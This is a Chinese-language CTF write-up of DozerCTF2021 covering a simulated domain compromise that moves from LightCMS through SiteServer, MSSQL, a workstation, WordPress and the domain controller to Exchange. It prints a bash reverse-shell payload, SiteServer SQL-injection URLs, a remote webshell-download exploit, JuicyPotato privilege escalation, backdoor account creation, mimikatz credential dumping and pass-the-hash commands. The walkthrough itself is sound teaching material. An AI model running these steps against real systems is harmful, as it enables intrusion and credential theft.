DozerCTF2021 域渗透 Workthrough
字数 1961 2025-08-05 08:19:06

DozerCTF2021 域渗透实战教学文档

0x00 环境概述

本次CTF模拟了一个包含多个主机的域渗透环境,主要涉及以下系统:

  • 10.10.1.47: LightCMS (Ubuntu)
  • 10.10.1.234: SiteServer (Windows Server 2012)
  • 10.10.1.231: MSSQL Server (Windows Server 2012)
  • 10.10.1.121: DESKTOP-ALICE (Windows)
  • 10.10.1.250: WordPress (Windows Server 2012)
  • 10.10.1.1: 域控制器DC (Windows Server 2012)
  • 10.10.1.100: Exchange Server

域环境:dozer.org

0x01 初始入口 - LightCMS (10.10.1.47)

1. 后台登录

  • 已知凭证:dozer/dozer123
  • 后台路径:/admin

2. 漏洞利用

方法一:文件包含RCE

  1. 利用/admin/neditor/serve/catchimage接口任意文件读取
  2. 读取/var/www/html/app/Http/Controllers/Admin/NEditorController.php发现文件包含漏洞
  3. 上传一句话木马到文章管理
  4. 利用文件包含执行命令:
1=system('bash -i >& /dev/tcp/ip/port 0>&1');&file=./upload/image/202105/iAWvVAZTHl35fVW29B5zk6iLh6G7K5tDQXL0PaX9.gif

方法二:非预期解

  • 直接访问系统管理下的日志记录,发现flag位置:/flag_d0z3r

3. 内网信息收集

  • ifconfig查看网络配置
  • 查看数据库配置:/var/www/html/config/database.php
  • 使用kscan/fscan扫描内网

0x02 SiteServer渗透 (10.10.1.234)

1. 发现系统

  • 访问http://10.10.1.234/发现SiteServer CMS
  • 后台路径:/siteserver/login.aspx

2. SQL注入获取凭证

  1. 利用漏洞获取用户名:
http://10.10.1.234/SiteServer/Ajax/ajaxCmsService.aspx?type=GetTitles&publishmentSystemId=1&nodeId=1&title=a%27,0)%20%3E%200%20union%20select%20TOP%202%20Username%20from%20bairong_Administrator--
  1. 获取密码:
http://10.10.1.234/SiteServer/Ajax/ajaxCmsService.aspx?type=GetTitles&publishmentSystemId=1&nodeId=1&title=a%27,0)%20%3E%200%20union%20select%20TOP%201%20Password%20from%20bairong_Administrator--
  1. 获取Salt:
http://10.10.1.234/SiteServer/Ajax/ajaxCmsService.aspx?type=GetTitles&publishmentSystemId=1&nodeId=1&title=a%27,0)%20%3E%200%20union%20select%20TOP%202%20PasswordSalt%20from%20bairong_Administrator--

获取到凭证:Admin/leonsec

3. 远程模板下载Getshell

  1. 使用C#加密下载URL:
using System; 
using System.IO; 
using System.Security.Cryptography; 
using System.Text; 
namespace EncryptApplication 
{ class Encrypt 
    { static void Main(string[] args) 
      { 
        var _encryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5"; 
        var _decryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
        var _inputString = "https://raw.fastgit.org/zhaoweiho/SiteServerCMS-Remote-download-Getshell/master/webshell/poxteam.zip";
        var _outString = ""; var _noteMessage = "";
        byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
        try{ 
           var byKey = Encoding.UTF8.GetBytes(_encryptKey.Length > 8 ? _encryptKey.Substring(0, 8) : _encryptKey); 
          var des = new DESCryptoServiceProvider(); 
          var inputByteArray = Encoding.UTF8.GetBytes(_inputString); 
          var ms = new MemoryStream(); 
          var cs = new CryptoStream(ms, des.CreateEncryptor(byKey, iv), CryptoStreamMode.Write);     cs.Write(inputByteArray, 0, inputByteArray.Length);
         cs.FlushFinalBlock();
          _outString = Convert.ToBase64String(ms.ToArray()); 
         Console.WriteLine("DesEncrypt:"); Console.WriteLine(_outString); }
      catch (Exception error) { _noteMessage = error.Message; } 
 } } }
  1. 替换特殊字符:
str_decry.replace("+", "0add0").replace("=", "0equals0").replace("&", "0and0").replace("?", "0question0").replace("/", "0slash0")
  1. 构造请求:
http://10.10.1.234/SiteServer/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA050add0dg8BqV7gX0slash00slash0DhYyedHPT79r6KQFp5dKGh7t0slash03uUZA0equals00equals0&directoryName=test233
  1. 访问webshell:
http://10.10.1.234/SiteFiles/SiteTemplates/test233/include.aspx

4. 提权与信息收集

  1. 使用JuicyPotato提权:
JuicyPotatoweb.exe -p "REG ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f"
JuicyPotatoweb.exe -p "REG ADD \"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" /v PortNumber /t REG_DWORD /d 0x00000d3d /f"
  1. 添加用户:
net user root test456123! /add
net localgroup administrators root /add
  1. Flag位置:网站根目录的Web.config.bak

0x03 MSSQL服务器渗透 (10.10.1.231)

1. 数据库连接

  • 连接字符串:
server=10.10.1.231;uid=sa;pwd=msO.9uXC;database=site;Provider=SQLOLEDB;

2. 利用xp_cmdshell

  1. 执行系统命令:
Exec master.dbo.xp_cmdshell 'type C:\Users\Administrator\Desktop\flag.txt'
  1. Flag:DozerCTF{b305d6b074502f341e793c29d821cadd}

3. 内存转储分析

  1. 发现DozerOCS.exe进程
  2. 创建转储文件并分析:
strings DozerOCS.DMP | grep ldap
  1. 获取Alice用户凭证:
ldap://dc01.dozer.org:389|CN=AliceAlc,CN=Users,DC=dozer,DC=org|FkuWvj08

0x04 DESKTOP-ALICE渗透 (10.10.1.121)

1. 远程登录

  • 使用Alice用户凭证:Alice/FkuWvj08
  • 桌面获取flag

2. 浏览器信息收集

  1. 查看Chrome Cookie:
C:\Users\ALICE\AppData\Local\Google\Chrome\User Data\Default\Cookies
  1. 使用mimikatz解密:
dpapi::chrome /in:"C:\Users\ALICE\AppData\Local\Google\Chrome\User Data\Default\Cookies" /unprotect
  1. 发现WordPress凭证:
UserName,Password,LoginUrl,CreateDate
Alice,Alice@Dozer@2021,http://10.10.1.250,2021-05-27T22:57:09+08:00

0x05 WordPress渗透 (10.10.1.250)

1. 后台登录

  • 凭证:Alice/Alice@Dozer@2021

2. 插件上传webshell

  1. 通过插件管理器上传一句话木马
  2. 访问webshell:
http://10.10.1.250/wp-content/plugins/hello.php
  1. Flag位置:wordpress用户桌面

0x06 域控制器渗透 (10.10.1.1)

1. MS17-010漏洞利用

  1. 使用fscan扫描确认漏洞存在
  2. 使用impacket工具连接:
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:9912e73b8ee265638b43d105fdb4c6f4 dozer/Administrator@10.10.1.1
  1. 桌面获取flag

2. 密码抓取

  1. 使用mimikatz:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
  1. 获取Administrator明文密码:Admin890...

0x07 Exchange Server渗透 (10.10.1.100)

1. 邮箱委托攻击

  1. 使用域管Administrator登录Exchange管理中心:
https://10.10.1.100/ecp/
  1. 为flag用户设置邮箱委托,添加Administrator用户
  2. 访问flag用户邮箱:
https://10.10.1.100/owa/flag@dozer.org/

0x08 总结

本次域渗透涉及多种技术:

  1. Web应用漏洞利用(LightCMS、SiteServer、WordPress)
  2. 内网横向移动技术
  3. Windows提权技术(JuicyPotato)
  4. 数据库利用(MSSQL的xp_cmdshell)
  5. 域渗透技术(AD Explorer、Exchange邮箱委托)
  6. 密码抓取与破解(mimikatz)

关键路径:
LightCMS → SiteServer → MSSQL → DESKTOP-ALICE → WordPress → 域控制器 → Exchange Server

DozerCTF2021 域渗透实战教学文档 0x00 环境概述 本次CTF模拟了一个包含多个主机的域渗透环境,主要涉及以下系统: 10.10.1.47: LightCMS (Ubuntu) 10.10.1.234: SiteServer (Windows Server 2012) 10.10.1.231: MSSQL Server (Windows Server 2012) 10.10.1.121: DESKTOP-ALICE (Windows) 10.10.1.250: WordPress (Windows Server 2012) 10.10.1.1: 域控制器DC (Windows Server 2012) 10.10.1.100: Exchange Server 域环境:dozer.org 0x01 初始入口 - LightCMS (10.10.1.47) 1. 后台登录 已知凭证:dozer/dozer123 后台路径:/admin 2. 漏洞利用 方法一:文件包含RCE 利用 /admin/neditor/serve/catchimage 接口任意文件读取 读取 /var/www/html/app/Http/Controllers/Admin/NEditorController.php 发现文件包含漏洞 上传一句话木马到文章管理 利用文件包含执行命令: 方法二:非预期解 直接访问系统管理下的日志记录,发现flag位置:/flag_ d0z3r 3. 内网信息收集 ifconfig查看网络配置 查看数据库配置:/var/www/html/config/database.php 使用kscan/fscan扫描内网 0x02 SiteServer渗透 (10.10.1.234) 1. 发现系统 访问http://10.10.1.234/发现SiteServer CMS 后台路径:/siteserver/login.aspx 2. SQL注入获取凭证 利用漏洞获取用户名: 获取密码: 获取Salt: 获取到凭证:Admin/leonsec 3. 远程模板下载Getshell 使用C#加密下载URL: 替换特殊字符: 构造请求: 访问webshell: 4. 提权与信息收集 使用JuicyPotato提权: 添加用户: Flag位置:网站根目录的Web.config.bak 0x03 MSSQL服务器渗透 (10.10.1.231) 1. 数据库连接 连接字符串: 2. 利用xp_ cmdshell 执行系统命令: Flag:DozerCTF{b305d6b074502f341e793c29d821cadd} 3. 内存转储分析 发现DozerOCS.exe进程 创建转储文件并分析: 获取Alice用户凭证: 0x04 DESKTOP-ALICE渗透 (10.10.1.121) 1. 远程登录 使用Alice用户凭证:Alice/FkuWvj08 桌面获取flag 2. 浏览器信息收集 查看Chrome Cookie: 使用mimikatz解密: 发现WordPress凭证: 0x05 WordPress渗透 (10.10.1.250) 1. 后台登录 凭证:Alice/Alice@Dozer@2021 2. 插件上传webshell 通过插件管理器上传一句话木马 访问webshell: Flag位置:wordpress用户桌面 0x06 域控制器渗透 (10.10.1.1) 1. MS17-010漏洞利用 使用fscan扫描确认漏洞存在 使用impacket工具连接: 桌面获取flag 2. 密码抓取 使用mimikatz: 获取Administrator明文密码:Admin890... 0x07 Exchange Server渗透 (10.10.1.100) 1. 邮箱委托攻击 使用域管Administrator登录Exchange管理中心: 为flag用户设置邮箱委托,添加Administrator用户 访问flag用户邮箱: 0x08 总结 本次域渗透涉及多种技术: Web应用漏洞利用(LightCMS、SiteServer、WordPress) 内网横向移动技术 Windows提权技术(JuicyPotato) 数据库利用(MSSQL的xp_ cmdshell) 域渗透技术(AD Explorer、Exchange邮箱委托) 密码抓取与破解(mimikatz) 关键路径: LightCMS → SiteServer → MSSQL → DESKTOP-ALICE → WordPress → 域控制器 → Exchange Server